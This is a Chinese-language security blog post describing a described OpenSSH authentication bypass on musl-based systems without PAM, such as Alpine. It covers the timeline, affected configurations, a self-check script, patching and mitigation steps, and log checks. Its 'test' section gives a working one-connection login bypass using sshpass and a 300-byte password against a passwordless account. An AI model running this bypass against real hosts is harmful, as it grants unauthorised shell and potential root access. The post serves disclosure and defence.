OpenSSH 十年暗洞:一条 257 字节的密码,怎么把 * 号账户全变成后门
昨天(11 月 5 日)OpenSSH 项目组扔了个 10.6p2 的补丁版出来,没有预告,没有发版投票,Damien Miller 在 release notes 里原话是”别读了,如果你跑的是 musl libc 又没开 PAM,现在就去把 PasswordAuthentication 关了”。
这个洞代号 *sshole ——注意开头那个星号,不是玩梗,是字面意义上的星号。漏洞的全部魔力,就发生在 /etc/shadow 里那个 * 字段和 musl libc 的 crypt() 函数之间。
潜伏时间: 接近十年 。
事件时间线
|
时间
|
事件
|
关键细节
|
|---|---|---|
|
~2016 年
|
musl libc 的
crypt() 实现落地”超长密码返回 * 作错误标记”逻辑 |
设计本意是防止 DOS,因为 DES/crypt 类算法本来就只吃前 8 字节;musl 选择直接返回
* 而不是截断 |
|
同期
|
OpenSSH 在无 PAM 构建下,遇到 shadow 字段为
* (无密码账户)时,会 借另一个账户的 salt 来做 hash 比对 |
这段”借 salt”逻辑本来是为了让 key-only 账户不至于在密码认证阶段直接崩掉
|
|
2026-11-05
|
研究者 Özgün Kültekin(Wakefield)把报告递到 OpenSSH 安全邮箱
|
OpenSSH 当天确认、当天出 10.6p2、Alpine 安全组同步发公告
|
|
2026-11-05
|
Alpine Linux 发布全套补丁包,从 3.16 到 edge 全分支覆盖
|
连已经 EOL 三天的 3.21 都专门回了移植补丁
|
|
2026-11-06
|
NVD 收录 CVE-2026-123158,CVSS 3.1 初评 8.1(High)
|
评分还在动,NVD 分析挂起中
|
这个洞到底是怎么炸的
正常流程应该是这样
sshd 没开 PAM 的时候,密码认证是它自己处理的:
-
用户输入密码
hello123 -
sshd 调
crypt(输入密码, 存储的hash),把输入密码用存储 hash 里的 salt 重新 hash 一遍 -
比对新算出来的字符串和 shadow 里存的字符串,一样就放行
问题出在两个”各管各”的决策撞车
撞车点 1 :某个账户(比如你 adduser 建的、只发 SSH key 的运维账户)在 /etc/shadow 里长这样:
deploy:*:19800:0:99999:7:::
那个 * 不是密码,是”这个账户没有密码,谁都别想用密码登进来”的意思。这是 Unix 几十年的老惯例。
撞车点 2 :sshd 看到 * 太短,里面没有合法 salt,它不会直接拒绝,而是 从同机器另一个带 $5$ 或 $6$ hash 的账户那里借一个 salt 过来 ,再拿这个 salt 去 hash 攻击者提交的密码。
撞车点 3 (最骚的):musl 的 crypt() 有个规定——当传入的密码 超过 256 字节 时,它不 hash 了,直接返回字符串 * 表示”输入非法,老子不干了”。
于是攻击链就闭合了:
攻击者发一个 300 字节的密码
↓
sshd 看到目标账户 shadow 字段是 *
↓
从隔壁某真实账户借个 $6$salt$xxx 过来
↓
调 musl 的 crypt(300字节垃圾, 借来的salt)
↓
musl 一看:你这密码超 256 字节了,返回 "*"
↓
sshd 把 crypt() 返回的 "*" 和 shadow 里存的 "*" 做字符串比对
↓
两个 "*" 一模一样 → 认证通过 → 拿到 shell
不需要知道任何密码,不需要爆破,一次连接,必中。
Alpine 安全组的原文写得很直白:”It takes one connection, works every time, and needs no retries.”
谁在目标上
OpenSSH 开发者 Damien Miller 自己讲得很清楚:
❝
“This vulnerability does not exist on non-Linux systems, Linux/glibc systems and Linux systems that use PAM for password authentication.”
|
你的系统
|
中招没
|
|---|---|
|
Alpine Linux(默认 musl + 无 PAM 的 openssh-server)
|
中 |
|
OpenWrt / Buildroot / Yocto 里编了 OpenSSH + musl + 无 PAM
|
大概率中
,看具体固件配置
|
|
Debian / Ubuntu / RHEL / CentOS / Fedora(glibc + PAM)
|
不中
|
|
macOS / *BSD / Windows
|
不中
|
|
任何已经
PasswordAuthentication no 的机器 |
不中(密码路径直接关了)
|
|
用
openssh-server-pam 且 UsePAM yes 的 Alpine |
不中
|
|
密码字段是
! 的锁定账户 |
不中(那种是彻底锁死,不是
* ) |
|
容器里没跑 sshd 的 Docker 用户
|
不中
|
但光看发行版不够,你还得同时满足下面四个条件才真的可被打:
-
sshd 确实在用 musl 的
crypt()自己验密码(没走 PAM) -
PasswordAuthentication yes(这是 OpenSSH 默认值,很多人从来没改过) -
机器上至少存在一个 shadow 字段为
*的账户——Alpine 基础镜像从 3.16 开始root默认就是root:* -
机器上至少存在一个带
$5$(SHA-256)或$6$(SHA-512)hash 的真实账户——这个几乎是必然,因为管理员总得给自己设个登录密码
最阴的一个场景:Alpine 官方的 tiny-cloud 镜像(AWS AMI / Azure VHD / qcow2)里带一个叫 alpine 的默认用户,密码字段是 * ,而且配置了 免密 doas 到 root 。这意味着攻击者一旦通过这个洞登进 alpine ,doas 一下就是 root。Alpine 官方自己都承认了:首启安全, 但只要你后来给任何账户设了密码 (cloud-init 加用户、控制台改密码),这台机器立刻变成敞开门的状态。
本地自检
纯环境探测
#!/bin/bash
# sshhole-check.sh — CVE-2026-123158 自检
# 用法: sudo bash sshhole-check.sh
set -u
echo "===== sshhole (CVE-2026-123158) self-check ====="
# 1. 是不是 musl 系统
MUSL=0
if ldd --version 2>&1 | grep -qi musl; then
echo "[1/4] libc: musl detected"
MUSL=1
else
echo "[1/4] libc: $(ldd --version 2>&1 | head -1) — not musl, likely not affected"
fi
# 2. OpenSSH 版本
echo "[2/4] sshd version: $(ssh -V 2>&1)"
# 3. sshd 实际生效配置
echo "[3/4] sshd effective config:"
sshd -T 2>/dev/null | grep -Ei 'passwordauthentication|usepam|permitrootlogin' | sed 's/^/ /'
# 4. shadow 里有几个 * 账户、有没有 $5$/$6$ hash
STAR_ACCTS=$(awk -F: '$2 == "*" {print $1}' /etc/shadow)
HASH_ACCTS=$(awk -F: '$2 ~ /^\$[56]\$/ {print $1}' /etc/shadow)
echo "[4/4] shadow field analysis:"
echo " accounts with '*' (key-only/no-pass): $(echo "$STAR_ACCTS" | grep -c . )"
[ -n "$STAR_ACCTS" ] && echo " -> $(echo $STAR_ACCTS | tr '\n' ' ')"
echo " accounts with \$5\$/\$6\$ hash: $(echo "$HASH_ACCTS" | grep -c . )"
# 综合判定
AFFECTED=0
if [ "$MUSL" = "1" ]; then
PAM=$(sshd -T 2>/dev/null | awk '/^usepam/{print $2}')
PW=$(sshd -T 2>/dev/null | awk '/^passwordauthentication/{print $2}')
NSTAR=$(echo "$STAR_ACCTS" | grep -c .)
NHASH=$(echo "$HASH_ACCTS" | grep -c .)
if [ "$PAM" = "no" ] && [ "$PW" = "yes" ] && [ "$NSTAR" -ge 1 ] && [ "$NHASH" -ge 1 ]; then
AFFECTED=1
fi
fi
echo
if [ "$AFFECTED" = "1" ]; then
echo ">>> RESULT: VULNERABLE — patch now or set PasswordAuthentication no"
else
echo ">>> RESULT: not exploitable under current config (still patch when you can)"
fi
把这段存成 sshhole-check.sh , chmod +x 之后 sudo 跑。输出 VULNERABLE 的,别犹豫,往下看修复那节。
测试
如果你手头上有一台 自己的、可以随便重装的 Alpine 虚拟机,想亲眼验证这个绕过,流程是这样:
# ===== 在目标测试机上(Alpine 虚拟机,root 执行)=====
# 1. 建一个 key-only 账户(密码字段自动是 *)
adduser -D -s /bin/sh deploy
usermod -p '*' deploy
# 注意:这台机器上你自己 root 登录时设过密码,所以 $6$ hash 已经存在
# 2. 确认 sshd 配置
grep -E '^PasswordAuthentication|^UsePAM' /etc/ssh/sshd_config
# 应该看到 PasswordAuthentication yes,且没有 UsePAM yes
# ===== 从另一台机器(攻击机)发起验证 =====
# 3. 生成一个 300 字节的超长密码字符串
LONGPASS=$(python3 -c "print('A'*300)")
# 4. 用超长密码尝试以 deploy 登录(deploy 根本没设密码)
sshpass -p "$LONGPASS" ssh \
-o StrictHostKeyChecking=no \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
deploy@<目标IP> 'id; cat /etc/os-release | head -2'
第 4 步如果打印出 uid=...(deploy) 和 Alpine 的版本信息——你就复现了。正常情况下, deploy 这个账户你根本不知道密码(也确实没密码),ssh 一定会打 Permission denied 。但在受影响的机器上, 一次就进 。
修复
路线 A:能治本
Alpine 已经给全分支出了包,直接:
apk update
apk upgrade openssh
rc-service sshd restart # 关键!不重启 sshd,跑的还是老进程
各分支修复版本号对一下:
|
Alpine 分支
|
修复后 openssh 版本
|
|---|---|
|
edge
|
10.6_p2-r0
|
|
3.24
|
10.3_p1-r2
|
|
3.23
|
10.2_p1-r1
|
|
3.22
|
10.0_p1-r11
|
|
3.21
|
9.9_p2-r1
|
|
3.20
|
9.7_p1-r6
|
|
3.19
|
9.6_p1-r3
|
|
3.18
|
9.3_p2-r4
|
|
3.17
|
9.1_p1-r7
|
|
3.16
|
9.0_p1-r6
|
**升级完必须 rc-service sshd restart **。Alpine 安全组专门强调了这件事:包升级不会替换正在跑的守护进程,你不重启等于没修。
路线 B:治标不治本,但马上生效
如果你暂时升不了级——比如固件在路由器里、Yocto 镜像要重新烧录——先把密码认证路径掐了:
# 保险起见,先确认你的 SSH key 能登进去,另开一个会话留着别关
mkdir -p /etc/ssh/sshd_config.d
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/00-no-passwords.conf
# 验证配置语法,再重启
sshd -t && rc-service sshd restart
# 看一眼结果,应该输出 passwordauthentication no
sshd -T | grep -i passwordauthentication
做这步之前,千万确认你自己的公钥已经在目标机器的 authorized_keys 里,并且另开一个终端测试过新 key 登录 。手一抖把密码和 key 都关了,云主机只能去控制台救援。
路线 C:检查有没有被打过
Alpine 给了排查清单,我搬过来:
#日志里有没有"用密码登了一个本来没密码的账户"这种鬼话
grep 'Accepted password for' /var/log/messages | grep -E ' (alpine|root|deploy|git|) '
# 查 doas / sudo 的免密记录
cat /etc/doas.conf 2>/dev/null
cat /etc/sudoers 2>/dev/null
ls /etc/sudoers.d/ 2>/dev/null
# 看最近有没有被新建账户、被塞 authorized_keys
awk -F: '$3>=1000{print $1":"$3}' /etc/passwd
find /home -name authorized_keys -newer /etc/hostname -exec ls -la {} \;
任何一条对得上、你又没法确定是自己干的—— 别犹豫,整机重装,别想着”我先清一下后门” 。这种级别的未授权访问,留着就是定时炸弹。
几句题外话
这个洞最值得琢磨的地方,不是它有多难,而是它有多 平淡 。
musl 的作者做了一个完全合理的决定:密码太长就拒绝,返回 * 。OpenSSH 的作者做了一个完全合理的决定:shadow 里的 * 是个占位符,别因为它崩了,借个 salt 继续走流程。两边代码都没问题,十年里无数人 review 过,但两个”合理”撞在一起,就变成了”发 300 个 A 就能登录”。
这不是第一回,也不会是最后一回。2024 年的 regreSSHion 是信号处理竞态,同一年的 XZ 后门是压缩库被供应链污染,今天这个是 libc 错误返回值和 shadow 占位符的语义撞车。 sshd 的核心协议逻辑早就被磨得很光滑了,真正出事的地方全在它和周边世界的接缝上 。
对运维的实际启发就一条:如果你跑的是 musl 系发行版(Alpine、OpenWrt、各种嵌入式), PasswordAuthentication no 不应该是”最佳实践”,应该是默认值。key-only 不是更安全的选项之一,是唯一选项——这次被打穿的,恰恰就是那些”我已经用 key 登录了,密码字段反正就是个 * ,无所谓”的机器。
对此 你怎么看 在评论区发表你的意见吧
其他推荐阅读
📰 相关阅读
— 阅读原文请访问微信公众号「表哥带我」 · 原文链接 —














暂无评论内容